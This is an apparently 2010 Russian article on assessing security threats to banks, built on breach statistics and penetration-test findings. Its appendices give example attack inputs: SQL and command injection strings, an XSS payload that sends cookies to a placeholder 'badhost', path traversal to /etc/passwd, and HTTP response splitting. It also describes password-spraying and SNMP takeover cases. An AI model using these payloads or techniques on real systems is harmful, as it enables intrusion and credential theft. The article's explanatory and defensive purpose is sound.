Одной из проблем, возникающих при планировании системы менеджмента информационной безопасности, является необходимость оценить актуальность угроз, создаваемых различными источниками.
Авторы: А. Сычев, Д. Кузнецов
Опубликована в “ИнформКурьер-Связь”, №7-8, июль-август 2010
Одной из проблем, возникающих при планировании системы менеджмента информационной безопасности, является необходимость оценить актуальность угроз, создаваемых различными источниками.
Согласно стандарту СТО БР ИББС, в основе парадигмы информационной безопасности организаций банковской сферы лежит противоборство между собственниками информационных активов и злоумышленником, стремящимся получить контроль над этими активами. Деятельность злоумышленника выражается в угрозах, которые он пытается реализовать для достижения своих целей. Согласно стандарту, оценка актуальности этих угроз и целесообразности применяемых мер противодействия должна основываться на вероятностях реализации этих угроз.
Оценить вероятность реализации тех или иных угроз затруднительно в виду отсутствия исходных данных и достоверной статистической информации. Однако можно получить некоторое представление о наиболее актуальных угрозах и методах их реализации, основываясь на публикациях экспертных организаций, которые проводят расследование инцидентов в области информационной безопасности, а также выполняют тесты на проникновение. В настоящем документе использовались статистические данные, опубликованные компаниями TrustWave и Verizon Business, а также результаты тестов на проникновение, проведенных ЗАО «Позитив Текнолоджиз» в 2008-2009 г.
Согласно отчету компании Verizon[1], 72% инцидентов, связанных с утечкой данных (в основном –информации платежных систем), стали результатом действий внешнего нарушителя (рисунок 1). При этом 43% инцидентов стали результатом самостоятельных действий злоумышленника, еще в 39% инцидентов использовались ошибки, допускаемые пользователями.
Рис. 1. Распределение источников угроз по версии Verizon
Успешность действий злоумышленника определялась наличием различного рода ошибок (ошибок в архитектуре информационных систем и приложений, ошибок в управлении доступом и т.п.). При этом основными способами реализации атаки стали подбор учетных записей на интерфейсах удаленного доступа к оборудованию и приложениям и уязвимости Web-приложений.
Рис. 2. Наиболее распространенные способы проникновения по версии Verizon
Аналогичные результаты по частоте встречаемости наиболее распространенных способов проникновения приведены в отчете компании TrustWave [2] . Анализировались инциденты, связанные с утечкой данных платежных карт, прежде всего – инциденты с банкоматами и терминалами оплаты. Как видно из результатов (рисунок 3), в основном злоумышленники используют ошибки в настройках интерфейсов удаленного управления и ошибки в настройке совместно используемого сетевого оборудования. Остальные векторы проникновения используются на порядок реже.
Рис. 3. Наиболее распространенные методы атак на банкоматы и платежные терминалы по версии TrustWave
Приведенные исследования показывают, что основным способом реализации атак на информационные активы компаний является использование различного рода ошибок, допускаемых администраторами информационных систем. Подобные ошибки выявляются в ходе проведения тестов на проникновение, и повторяемость одних и тех же ошибок позволяет выявлять наиболее проблемные места в организации защиты.
Проводя тесты на проникновение, специалисты ЗАО «Позитив Текнолоджиз» анализируют использовавшиеся для проникновения ошибки в реализации механизмов защиты, архитектуре информационных систем или настройках средств защиты. Результаты такого анализа позволяют оценивать механизмы информационной безопасности заказчика с точки зрения эффективности оказанного в ходе работ противодействия проникновению. Критерием оценки является минимальный набор возможностей, который необходим нарушителю для преодоления того или иного механизма безопасности. Результаты такой оценки различаются от компании к компании, и отдельно можно выделить организации банковской сферы. Усредненные результаты по банковской сфере и по компаниям остальных отраслей приведены на рисунке 4.
Рис. 4. Оценка эффективности механизмов обеспечения безопасности информационных систем.
Кардинальное отличие эффективности реализации механизмов обеспечения безопасности организаций банковской сферы от предприятий и организаций остальных отраслей объясняется двумя причинами:
Тем не менее, для информационных систем банков характерен определенный набор “болезней”. Прежде всего, это касается использования механизмов аутентификации и раскрытия информации о сотрудниках банка (как самими сотрудниками в общедоступных Интернет-ресурсах, так и самими компаниями в пресс-релизах и общедоступной внутренней документации). Хотя использовать такие недостатки может только специалист высокого уровня, методики их использования хорошо известны и эффективны при реализации атак.
Кроме того, встречаются недостатки в управлении обновлениями, конфигурацией оборудования и программных средств, настройками межсетевых экранов и т.п. Несмотря на то, что подобные недостатки частично компенсируются применением других механизмов защиты, в ходе теста на проникновение их удается использовать для преодоления внешнего периметра защиты и получения контроля над информационными системами.
Таким образом, можно выделить три основных вектора проникновения в информационные системы компаний. Первым вектором является использование ошибок в настройках телекоммуникационного оборудования и серверов, размещенных на внешнем периметре защиты и в доступных извне сегментах локальной вычислительной сети. Основной предпосылкой для возникновения на этих узлах уязвимостей является человеческий фактор: даже при использовании максимально полного набора технических средств защиты существует вероятность некорректной настройки этих средств или невыполнения требований информационной безопасности. Можно выделить два показателя, характеризующих возможность возникновения подобной ошибки: количество доступных извне устройств и количество доступных извне сервисов. С ростом каждого их показателей возрастает вероятность нахождения злоумышленником ошибок в доступных устройствах, а значит и возможность использования этих узлов для реализации атаки. Наиболее распространенные ошибки, допускаемые ИТ-специалистами, приведены в разделе 4.
Вторым вектором проникновения являются уязвимости Web-приложений. В этом случае злоумышленник использует ошибки, допускаемые разработчиками этих приложений. Наиболее распространенные типы ошибок приведены в разделе 3. Также можно выделить основные количественные показатели, которые характеризуют возможность возникновения подобных ошибок: количество Web-приложений, частота внесения изменений в эти приложения и количество Web-интерфейсов, допускающих ввод пользователями данных и используемых для формирования контента. С ростом каждого из этих показателей также возрастает вероятность совершения ошибок.
Третьим важным вектором проникновения является использование нарушителем уязвимостей рабочих мест пользователей в сочетании с методами социальной инженерии. Примеры подобных атак рассмотрены в разделе 4.4. Можно также выделить несколько показателей, характеризующих возможность использования злоумышленником этого вектора:
Большая часть этих показателей оценивается при проведении теста на проникновение или внутреннего аудита.
Уязвимости Web-приложений на сегодняшний день являются наиболее распространенным способом проникновения в информационные системы компаний и реализации атак на клиентов этих компаний.
По результатам исследования[3], проведенного в 2008 году (данные за 2009 г. готовятся к публикации), практически каждый корпоративный Web-портал содержит уязвимости уровней Urgent или Critical (рисунок 5).
Рис. 5. Распространенность уязвимостей различных категорий
Наиболее распространенные типы критических уязвимостей Web-приложений приведены на рисунке 6.
Рис. 6. Наиболее распространенные критические уязвимости Web-приложений
Подобные уязвимости позволяют злоумышленнику получить контроль над Web-приложением и/или использовать его для атак на внутренние информационные ресурсы компании или рабочие места пользователей. На данный момент этот вектор атаки представляет наибольшую опасность, поскольку для большинства типов уязвимостей разработаны эффективные автоматизированные методы их выявления. Это существенно упрощает задачу злоумышленника и ставит возможность организации атаки в прямую зависимость от количества доступных ему Web-приложений и их интерфейсов.
Уязвимости Web-приложений являются одним из наиболее распространенных путей проникновения в корпоративные информационные системы, и можно выделить несколько факторов, делающих Web-сервисы привлекательной целью для атак злоумышленников:
Кроме того, уязвимости некоторых типов допускают не только автоматическое выявление, но и автоматическую эксплуатацию. Именно таким образом производится массовое внедрение в Web-ресурсы вредоносного кода, который впоследствии используется для создания бот-сетей из рабочих мест пользователей этих ресурсов. Возможность использования Web-приложений в качестве платформы для атаки на рабочие места пользователей сама по себе делает эти приложения привлекательной целью для нарушителя.
Описание уязвимостей Web-приложений приведено в приложении 1.
Использование недостатков инфраструктуры является вторым по значимости вектором проникновения. Анализ подобных недостатков показывает, что залогом успешной атаки является не отсутствие тех или иных средств защиты (как правило, в компаниях присутствует весь необходимый для предотвращения или выявления атаки набор средств защиты), а неправильное использование этих средств или неправильная реализация отдельных механизмов защиты. Можно отметить три основные предпосылки к появлению подобных недостатков:
При этом отдельно хочется отметить, что уязвимости программного обеспечения являются только одним из путей реализации атак на информационные системы, причем не самым часто используемым. Как правило, злоумышленнику удается достичь своей цели только за счет использования недостатков сетевой архитектуры и настройки программного обеспечения.
Ниже приведены основные недостатки инфраструктуры. Примеры использования этих недостатков приведены в приложении 2.
Разработчики бизнес-приложений часто допускают одновременно две ошибки:
Как показывают результаты исследования, проведенного ЗАО «Позитив Текнолоджиз»[4], если применять средства, ограничивающие минимальную длину пароля, российские пользователи склонны выбирать пароли, являющиеся сочетанием расположенных рядом клавиш клавиатуры[5] . При этом почти 9% пользователей используют один из 10 наиболее распространенных паролей (таблица 2).
Таблица 1. Топ-10 наиболее часто встречающихся паролей
Пароль |
Частота встречаемости |
1234567 |
3,36% |
12345678 |
1,65% |
123456 |
1,02% |
<пустая строка> |
0,72% |
12345 |
0,47% |
7654321 |
0,31% |
qweasd |
0,27% |
123 |
0,25% |
qwerty |
0,25% |
123456789 |
0,23% |
Итого |
8,53% |
При таком частоте встречаемости паролей успех нарушителя при подборе учетных записей определяется двумя факторами:
Как правило, на поздних этапах проникновения нарушитель уже обладает списком актуальных имен пользователей, полученных в результате доступа к каталогу Active Directory, таблицам баз данных, документам на рабочих местах пользователей или корпоративной электронной почте. Но и на начальных этапах нарушитель зачастую обладает возможностью эффективного перебора имен пользователей.
Еще одной серьезной проблемой является использование стандартных паролей, устанавливаемых по умолчанию. При установке программного обеспечения создаются т.н. “технологические” учетные записи, используемые для первого входа пользователя в систему или для взаимодействия компонентов программного обеспечения между собой. Такие учетные записи стандартны для определенной версии программного обеспечения, их состав может меняться от версии к версии, а их количество для отдельного семейства программного обеспечения может достигать десятков и сотен[6]. Как правило, после установки системы администраторы забывают изменить заданные по умолчанию пароли или заблокировать ненужные учетные записи.
Кроме онлайновых методов подбора пароля, нарушителю доступны и другие методы, например восстановление пароля по его хэшу. Источниками парольных хэшей могут являться:
Согласно результатам того же исследования (таблица 2), большая часть пользователей использует пароли длиной до 8 символов включительно. В настоящее время в рамках нескольких открытых проектов[7] проводится расчет значений хэш-функции для паролей различной длины в различных алфавитах. Готовые таблицы значений хэш-функции, находящиеся в открытом доступе, обеспечивают высокий процент восстановления паролей такой длины, причем восстановление одного пароля занимает несколько минут.
Таблица 2. Частота встречаемости паролей разной длины
Длина |
Частота встречаемости |
Вероятность компрометации |
0 |
0,71% |
100% |
1 |
0,26% |
99,29% |
2 |
0,39% |
99,03% |
3 |
1,37% |
98,64% |
4 |
2,03% |
97,27% |
5 |
4,86% |
95,24% |
6 |
27,22% |
90,38% |
7 |
21,75% |
63,16% |
8 |
25,22% |
41,41% |
9 |
6,50% |
16,19% |
10 |
4,42% |
9,69% |
11 |
2,83% |
5,27% |
12 |
1,33% |
2,44% |
13 |
0,40% |
1,11% |
14 |
0,34% |
0,71% |
Недостатки сетевой архитектуры упрощают нарушителю выполнение ряда атак. К наиболее распространенным недостаткам сетевой инфраструктуры можно отнести:
При правильной организации локальной вычислительной сети рекомендуется разделять ее на сегменты разного функционального назначения и обеспечивать фильтрацию трафика на границах сегментов. Эти рекомендации зачастую не выполняются.
Распространенной ошибкой является предоставление доступа из сети Интернет к узлам, размещенным в пользовательском или серверном сегментах ЛВС. Это позволяет нарушителю, получившему контроль над одним из приложений, серверов или рабочих станций, беспрепятственно атаковать остальные узлы ЛВС. Кроме того, нередко предоставляется доступ из сети Интернет к управляющим интерфейсам приложений, серверов и сетевого оборудования (как в примере 4.1.4).
При подключении серверов и рабочих мест к коммутаторам ЛВС зачастую не принимаются меры противодействия сетевым атакам со стороны внутренних узлов ЛВС (от атак типа «отравление кэша ARP» до эксплуатации уязвимостей в сетевых сервисах), а также не выполняются настройки протоколов управления, направленные на скрытие топологии сети от рядового пользователя. Это позволяет нарушителю, получив контроль над одним из внутренних узлов, исследовать сеть, выявлять соседние устройства и организовывать атаки на них.
При развертывании сетевых сервисов при наличии защищенных вариантов протоколов прикладного уровня, для передачи конфиденциальной информации используются их аналоги без криптографии или со слабой криптографической защитой (NTLM вместо Kerberos, POP3 вместо IMAP, SNMP v.2 вместо v.2c или V.3, а также SMTP, FTP и HTTP без поддержки SSL/TLS). Это позволяет нарушителю перехватывать конфиденциальную информацию, в том числе - получать в свое распоряжение новые учетные записи.
При использовании беспроводных сетей допускается несколько типичных ошибок, среди которых необходимо отметить:
Протокол WEP использует слабые методы криптографической защиты, что позволяет нарушителю сравнительно легко восстановить используемые при взаимодействии устройств криптографические ключи. Это позволяет нарушителю подключаться к беспроводной сети и организовывать атаки, находясь внутри периметра защиты. Последствия и примеры использования такой атаки очевидны.
Использование сотрудниками компании ноутбуков создает для нарушителя дополнительный вектор проникновения. Соединяясь с посторонней точкой доступа, пользователь попадает в среду, созданную владельцем этой точки доступа. При этом:
Как правило, в отношении мобильных устройств применяются те же меры защиты, что и для стационарных рабочих мест (особенно в части управления уязвимостями и установки обновлений). При этом выбор этих мер ориентирован в первую очередь на работу внутри внешнего периметра защиты, которые является первым рубежом защиты, исключая ряд угроз. При подключении к сторонней точке доступа этот рубеж отсутствует, о чем администраторы, настраивающие функции безопасности операционной системы и индивидуальные средства защиты, часто забывают.
Одним из самых больших недостатков в обеспечении информационной безопасности российских компаний является несвоевременная установка обновлений безопасности или отказ от установки этих обновлений. Причины называются разные:
Сканирование внутренних узлов ЛВС большинства российских компаний показывает примерно одинаковую картину (рисунок 7 ).
Распределение уязвимостей
Уязвимые службы
Аналогичную картину можно наблюдать при анализе конфигурации программного обеспечения. Для безопасной настройки операционной системы Windows XP необходимо настроить свыше 200 параметров, при этом около 60% параметров настраиваются автоматически при инсталляции операционной системы, а остальные требуют дополнительной настройки. Как правило, анализ конфигурации показывает, что подобная настройка не выполняется, что приводит к наличию на рабочих станций типичных ошибок конфигурации:
Подобные ошибки активно используются при проникновении в информационные системы. Возможность атаки на уязвимые сетевые сервисы появляется после преодоления внешнего периметра с использованием одного из перечисленных в предыдущих разделах недостатков. Однако в последние несколько лет нарушители предпочитают атаковать рабочие места пользователей, используя уязвимости клиентского программного обеспечения и недостаточную осведомленность пользователей в вопросах информационной безопасности.
Наиболее эффективными с точки зрения приближения к цели являются методы атаки, позволяющий нарушителю получить в свое распоряжение учетные записи пользователей. Успех подобной атаки дает нарушителю наиболее широкий спектр дополнительных возможностей:
В представлении специалистов по информационным технологиям наиболее опасными считаются уязвимости сетевых сервисов, однако это не так. Как правило, нарушителю удается добиться поставленной цели еще до того, как у него появится техническая возможность поиска и эксплуатации уязвимостей программного обеспечения целевого сервера. Значительно быстрее к достижению цели приводит использование ошибок в архитектуре информационных систем и настройках программного обеспечения.
Серьезную опасность представляют атаки на рабочие места пользователей с использованием методов социальной инженерии. В то же время хотелось бы отметить, что первопричиной успешной атаки является не низкая осведомленность пользователей, а наличие на рабочем месте уязвимостей и ошибок конфигурации, возможность использовать которых предоставляется нарушителю в результате действий пользователя. В связи с этим необходимо так же отметить, что в публикациях по организационным аспектам обеспечения информационной безопасности несколько переоценивается важность мероприятий по повышению осведомленности. Как показывает практика, грамотно организованная “приманка” не вызывает подозрений даже у квалифицированных специалистов по информационной безопасности.
Иллюстрацией к изложенному материалу могут служить три инцидента инциденты, получившие широкий резонанс в 2008-2009 годах. Все он были расследованы правоохранительными органами США, и опубликованные материалы уголовных дел позволяют достаточно точно и достоверно восстановить картину событий.
Летом 2007 года турецкой полицией был арестован украинский хакер Максим Ястремский. На изъятом у него ноутбуке была обнаружена партия предназначавшихся для продажи дампов. К допросам сразу же подключились специалисты секретной службы США, которые и передали турецким коллегам информацию о хакере. Показания, которые дал Ястремский, привели к раскрытию нескольких крупных уголовных дел.
В 2003 г. два хакера – Альберт Гонзалес и Кристофер Скотт организовали массовые атаки на магазины нескольких крупных торговых сетей США. Атака была организована следующим образом: хакеры парковались возле магазина и, используя опубликованные к тому времени методы взлома криптографических механизмов WEP, подключались к его беспроводной точке доступа. Используя различные уязвимости, они получали доступ к операционной системе кассовых терминалов и использовали его для копирования данных магнитной полосы при оплате товара покупателем.
В 2005 г. им удалось таким же образом получить доступ к беспроводным точкам доступа магазинов сети TJX. При анализе инфраструктуры они смогли найти ошибки в сетевой защите процессингового центра TJX, получить контроль над операционной системой одного из серверов и установить на него разработанный Ястремским снифер. Снифер накапливал данные и копировал их на внешний сервер, специально арендованный для этих целей. Эта схема успешно проработала с марта 2006 по май 2008 года, и так и не была обнаружена защищающейся стороной. Процессинговый центр был уведомлен об инциденте секретной службой США, которая к тому времени, опираясь на показания Ястремского, собирала обвинительный материал против Гонзалеса. Точное количество скомпрометированных хакерами карт неизвестно, в материалах уголовного дела фигурирует факт единовременной продажи Гонзалесом партии в 40 000 000 дампов.
Параллельно с атакой на TJX, Максим Ястремский в паре с хакером из Эстонии Александром Суворовым организовал удаленную атаку на сеть ресторанов Dave&Buster’s. Хакерам удалось преодолеть внешний периметр защиты и получить доступ к концентратору, на котором аккумулировался трафик между кассовыми терминалами и процессинговым центром. Операция длилась четыре месяца и закончилась арестом Ястремского. На основании его показаний были предъявлены обвинения и Суворову, который был арестован немецкой полицией в транзитной зоне аэропорта во Франкфурте. Точный объем украденных данных неизвестен.
В ходе расследования атаки на TJX сотрудники секретной службы организовали прослушивание телефонных переговоров и Интернет-трафика Альберта Гонзалеса. Из перехваченных данных им стало известно о возможной успешно проведенной атаке против процессингового центра Heartlend Payment Systems и еще двух процессинговых компаний. Как оказалось впоследствии, Гонзалес и двое его сообщников из бывших советских республик проанализировали Web-порталы крупнейших по версии журнала Fortune мировых процессинговых компаний, и на трех из них обнаружили уязвимости типа «внедрение операторов SQL». Эксплуатация этих уязвимостей позволила хакерам в каждом из трех случаев преодолеть периметр защиты и получить контроль над несколькими серверами. В результате был организован перехват трафика, из которого с помощью все того же снифера извлекались данные платежных карт. Полученные данные копировались на арендованные внешние серверы.
Получив информацию о возможном инциденте, сотрудники секретной службы уведомили о нем руководство Heartlend Payment Systems, которое инициировало внутреннее расследование, однако найти подтверждение инцидента специалистам компании не удалось. Подтвердить проникновение удалось только в результате повторной экспертизы, проведенной после ареста Гонзалеса и получения признательных показаний. В результате проведенной хакерами операции только из Heartlend Payment Systems были скопированы данные 130 000 000 карт.
Отсканированные экземпляры обвинительных заключений по всем трем уголовным делам опубликованы на сайте министерства юстиции США. Из 16 фигурантов находятся под следствием или осуждены пятеро, еще двое были освобождены от ответственности. Личности остальных девяти фигурантов, в том числе – нескольких непосредственных исполнителей хакерских атак, до сих пор не установлены.
Само по себе внедрение операторов SQL – техника атаки, позволяющая нарушителю передавать Web-приложению на исполнение произвольные (пусть и с некоторыми ограничениями) конструкции языка SQL. Уязвимость, которая при этом используется – распространенная ошибка разработки Web-приложений, при которой SQL-запросы к СУБД формируются на основании передаваемых пользователем данных без дополнительной семантической проверки получившегося запроса.
Пример уязвимого кода:
strQuery = “SELECT body FROM documents WHERE id = “ + “‘”+$_GET[‘id'] +”’;”
В этом примере при формировании запроса используется параметр id, передаваемый в строке запроса. Самостоятельно формируя значение параметра id, нарушитель способен передавать Web-приложению собственные SQL-запросы. Например, обращение к Web-серверу
http://fqdn/documents?id=1234’+%3B<SQL-запрос>%3B--
приведет к выполнению последовательности запросов
SELECT body FROM documents WHERE id = 1234;
<SQL-запрос>;--;
Подобная техника может использоваться нарушителем для решения широкого круга задач от изменения контента Web-приложения до получения контроля над ним.
Аналогичная ошибка допускается разработчиками Web-приложений в случаях, когда принимаемый от пользователя параметр передается в качестве аргумента при вызове из кода Web-приложения команд операционной системы. Пример:
passthru (‘fetchdoc –id=' . $_GET[‘id']);
В данном примере также не проводится семантическая проверка параметра id, что позволяет нарушителю выполнять произвольные команды операционной системы. Например, обращение к Web-серверу
http://fqdn/documents?id=1234+%3B<команда1>%3B<команда2>
приведет к выполнению последовательности команд
fetchdoc –id=1234
<команда1>
<команда2>
Подобная уязвимость позволяет нарушителю получить контроль над операционной системой Web-сервера и использовать его для дальнейших действий за внешним периметром защиты.
Предпосылкой для появления уязвимостей этого типа является все та же ошибка программирования, при которой отображаемый контент формируется на основании параметров, передаваемых в HTTP-запросе без семантической проверки этих параметров. Межсайтовое выполнение сценариев возможно тогда, когда значение передаваемого параметра непосредственно включается в тело формируемой Web-сервером HTML-страницы. Использование подобных уязвимостей не причиняет ущерба самому Web-приложению и направлено против его пользователей.
Пример:
…
Select preferred language:
<select><script>
document.write("<OPTION value=1>" + document.location.href.substring(document.location.href.indexOf("dlang=") + 8) + "</OPTION>");
document.write("<OPTION value=2>Russian</OPTION>");
</script></select>
…
В этом примере параметр dlang используется для выбора языка по умолчанию:
http://fqdn/ documents?id=1234&dlang=English
Поскольку проверка значения данного параметра не производится, нарушитель может использовать его для внедрения в тело генерируемой HRML-страницы собственного исполняемого кода:
http://fqdn/ documents?id=1234&dlang= <SCRIPT>document.location='http://badhost/stealcookie?'+document.cookie</SCRIPT>
Уязвимости XSS разделяют на постоянные (persistent) и отраженные (reflected). Постоянная XSS позволяет нарушителю внедрять свой код в долговременный контент Web-приложения (например, в сообщения на форумах или в комментарии к новостям). Внедренный с ее помощью код будет исполнен в браузере каждого из посетителей измененной страницы. Отраженная XSS встречается значительно чаще и характерна для приложений, однократно отображающих значение переданного параметра в сгенерированной на основании пользовательского запроса странице (например, для поисковых систем, когда в результатах поиска отображается введенный пользователем запрос).
Уязвимости XSS широко и разнообразно используются при атаках на рабочие места пользователей с использованием методов социальной инженерии. Пример атаки:
Чаще всего подобная уязвимость используется для фишинга, позволяя извлекать и отправлять нарушителю идентификаторы сессий, хранимые пароли и т.п., а также для распространения вредоносного программного обеспечения и создания бот-сетей. Нужно отметить, что, выполняя подобную атаку, нарушитель использует не только уязвимость Web-приложения, но и доверие пользователя к этому приложению.
Идентификация сессии – стандартный механизм авторизации пользователей, используемый в Web-приложениях. После успешной аутентификации пользователя приложение присваивает его сессии уникальный идентификатор, который передается серверу в каждом последующем запросе этого пользователя и используется для подтверждения его аутентичности. Надежность такого механизма основана на двух предпосылках:
Наибольшая эффективность данного механизма достигается тогда, когда каждый следующий генерируемый приложением идентификатор является элементом равномерно распределенной случайной последовательности. Однако в реализации механизма генерации идентификаторов сессии встречаются ошибки, сильно сужающие область перебора. К примеру, наблюдая за значениями последовательно формируемых идентификаторов, можно выявить явные закономерности:
17141261738118235468
17141361738144365469
17141661738125825470
В приведенном примере идентификатор сессии состоит из четырех блоков, лишь один из которых формируется случайно, а остальные три являются либо постоянными, либо слабо изменяющимися величинами. При таком методе генерации у нарушителя, имеющего в своем распоряжении один идентификатор, появляется возможность поиска идентификаторов сессий остальных пользователей, активно использующих приложение в момент атаки.
Данная уязвимость часто усугубляется двумя ошибками:
Данная уязвимость возникает в приложениях, в коде которых передаваемый в запросе параметр используется для формирования имени используемого при формировании контента файла. Пример:
<?php
echo “<a href=“pdf/”.$_REQUEST[‘name’].”.pdf”;
?>
Отсутствие семантической проверки передаваемого параметра приводит к тому, что нарушитель получает возможность включить в отображаемый контент содержимое произвольного файла:
http://site.ru/article.php?name=../../../../etc/passwd%00
Данная уязвимость позволяет нарушителю получать дополнительную информацию о приложении: сведения о пользователях, исходный код отдельных сценариев, сведения о настройках операционной системы и приложений и т.п.
Данная уязвимость возникает в приложениях, в коде которых передаваемый в запросе параметр используется для формирования заголовка HTTP-пакета. Пример:
<%
response.sendRedirect("/by_lang.jsp?lang="+
request.getParameter("lang"));
%>
В приведенном примере значение параметра lang будет включено в заголовок HTTP-пакета:
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 12:53:28 GMT
Location: http://fqdn/documents?lang=English
Server: …
…
Отсутствие семантической проверки значения параметра приводит к тому, что нарушитель получает возможность самостоятельно формировать ответ сервера:
http://fqdn/documents?lang=English%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-Length:%204%0d%0a%0d%0aText
При выполнении подобного запроса будет сформирован HTTP-пакет следующего вида:
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=English
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 4
Text
Server:…
…
В соответствии со спецификацией протокола HTTP, такой результат содержит два разных сообщения HTTP RESPNSE, первое из которых пусто, а второе - содержит заданный нарушителем контент. Подобная техника может использоваться, например, для атаки типа “proxy cache poisoning”. В несколько упрощенном виде атака выглядит следующим образом:
При анализе Web-приложения была обнаружена уязвимость типа “Внедрение операторов SQL”, что позволило исследователю выполнять произвольные SQL-запросы, при этом результаты выполнения запроса выводились как часть сообщения об ошибке. Это позволило установить версию используемой СУБД.
Запрос:
http://<server>/?id=(1)and(1)= select cast(version() as numeric)--
Результат:
ERROR: invalid input syntax for type numeric: "PostgreSQL 8.2.13 on i386-portbld-freebsd7.2, compiled by GCC cc (GCC) 4.2.1 20070719 [FreeBSD]"
Установив, что в качестве СУБД используется PostgreSQL, исследователь получил возможность построчного чтения списка таблиц данной СУБД.
http://<server>/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+0)+as+numeric)-- http://<server>/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+1)+as+numeric)--
…
Обнаружив в этом списке таблицу с именем users, исследователь получил возможность построчного чтения ее полей. Результатом атаки стало получение списка имен пользователей данного приложения и соответствующих парольных хэшей.
Проводился анализ Web-приложения, причем в соответствии с постановкой задачи, исследователю была предоставлена учетная запись обычного пользователя, при этом именем пользователя являлось уникальное шестизначное число. В приложении было реализован простой механизм противодействия автоматическому перебору: при трехкратном вводе неправильного пароля учетная запись пользователя блокировалась на 10 минут.
Предположив, что имя пользователя является его порядковым номером, исследователь организовал перебор учетных записей по следующему методу. Был выбран диапазон из 1000 номеров пользователей и словарь из 12 наиболее частых паролей. Для каждого номера выполнялось три попытки подбора пароля, после чего выбирался следующий номер. После окончания итерации делалась пауза до истечения времени блокировки первой учетной записи, и цикл повторялся со следующими тремя паролями. После четвертой итерации было успешно подобрано несколько учетных записи пользователей.
В ходе теста на проникновение исследователем был обнаружении Web-интерфейс Microsoft Exchange. Обнаружив поиском в Google несколько адресов электронной почты из корпоративного домена заказчика, исследователь установил, что имена пользователей формируются из имен и фамилий сотрудников по простому правилу. В результате был организован перебор учетных записей по следующему методу. Были составлены словари наиболее распространенных имен и фамилий, на основе всех их сочетаний был сформирован словарь возможных имен пользователей. Перебор всех сочетаний этих имен и паролей из словаря Топ-10 также привел к получению нескольких учетных записей.
В ходе теста на проникновение было проведено сканирование граничного сетевого оборудования заказчика. При сканировании выяснилось, что на нескольких маршрутизаторах был настроен сервис протокола SNMP, причем для доступа к сервису использовались стандартные значения community string: “public” и “private”. С помощью штатных возможностей протокола SNMP исследователю удалось скопировать конфигурационные файлы устройств, из которых были извлечены учетные записи администраторов. Для защиты паролей использовался слабый метод шифрования, что позволило восстановить несколько паролей. При дальнейшей проверке оказалось, что данные учетные записи используются на остальных сетевых устройствах, что позволило исследователю получить полный контроль над локальной вычислительной сетью и магистралью сети передачи данных заказчика.
При внешнем сканировании инфраструктуры заказчика было обнаружено Web-приложение с уязвимостью тип «внедрение операторов SQL». После успешной эксплуатации уязвимости был получен контроль над Web-сервером. Оказалось, что данный Web-сервер развернут на рабочем месте администратора ЛВС и запущен с привилегиями LOCAL_SYSTEM. Полученных привилегий оказалось достаточно для получения полного контроля над операционной системой и получения учетной записи администратора, что в дальнейшем привело к установлению контроля над сетевым оборудованием.
В примере 4 исследователем был получен доступ к одному из граничных маршрутизаторов и учетная запись сетевого администратора. При этом доступ к остальным сетевым устройствам ограничивался межсетевым экраном, блокировавшим как установление соединений по протоколам SSH и TELNET, так и возможность сканирования сетевой инфраструктуры.
Получив доступ к консоли управления маршрутизатором, исследователь получил возможность просмотра информации о соседних устройствах, получаемых маршрутизатором с помощью протокола CDP. Это позволило установить IP-адреса соседних устройств. Как оказалось, межсетевой экран не блокировал установление соединения по протоколу TELNET, если в качестве источника соединения использовался контролируемый исследователем маршрутизатор. Это позволило исследователю использовать встроенные средства Cisco IOS для доступа к консоли управления соседних сетевых устройств и получения контроля над ними.
При проведении внутреннего теста на проникновение исследователю была предоставлена возможность подключить свой ноутбук к коммутатору гостевого сегмента ЛВС. При сканировании в этом же сегменте было обнаружено некоторое количество стационарных рабочих мест сотрудников заказчика, в том числе – рабочее место сотрудника технической поддержки. По согласованию с координатором работ была проведена атака «отравление кэша ARP», что позволило перехватить весь сетевой трафик между этим рабочим местом и шлюзом по умолчанию. Из трафика были выделены сообщения протокола NTLM, что позволило восстановить пароль сотрудника по его хэшу.
В ходе одного из публичных мероприятий, ориентированных на специалистов в области информационной безопасности, было проведено исследование поведения пользователей мобильных устройств. Исследователем была развернута точка доступа, допускающая свободное подключение и обеспечивающая свободный доступ к сети Интернет. При подключении мобильных проводился экспресс-анализ их защищенности, а также анализ проходящего через точку доступа сетевого трафика. Анализ показал, что большая часть мобильных устройств содержала уязвимости, потенциально позволяющих исследователю получить контроль над этими устройствами. В сетевом трафике было обнаружено большое количество конфиденциальной информации, в том – передаваемых в открытом виде паролей к различным ресурсам сети Интернет.
После получения доступа к рабочей станции сетевого администратора (пример 5) было произведено сканирование серверного сегмента. На ряде серверов были обнаружена уязвимости высокого уровня критичности, в том числе – уязвимость CVE-2003-0352. Эта уязвимость известна с 2003 года, использовалась несколькими известными сетевыми червями (MSBlast, Welchia), к ней есть публично доступные эксплойты. После демонстрации результатов сканирования отсутствие обновления было подтверждено координатором работ без ее эксплуатации.
В ходе теста на проникновение проводилось исследование уровня осведомленности пользователей. Заказчиком был предложен перечень сотрудников, в отношении которых проводилось исследование. На основании этого перечня был составлен список адресов электронной почты, по которому была отправлены письма с предложениемперейти по ссылке и посмотреть забавный видеоролик, касающийся деятельности организации заказчика. При переходе по ссылке в браузере пользователя выполнялся сценарий, который собирал и отправлял на сервер исследователя информацию, позволяющую идентифицировать версию браузера и дополнительных модулей к нему, а также уникальным образом идентифицировать рабочее место.
Результаты исследования показали, что около 40% пользователей перешли по присланной ссылке, при этом около 80% браузеров или дополнительных модулей к ним содержали различного рода уязвимости[8] . Часть пользователей вступила в переписку с исследователем, сообщив ему о некорректной ссылке и попросив прислать исправленный вариант.
Лечим цифровую неграмотность без побочных эффектов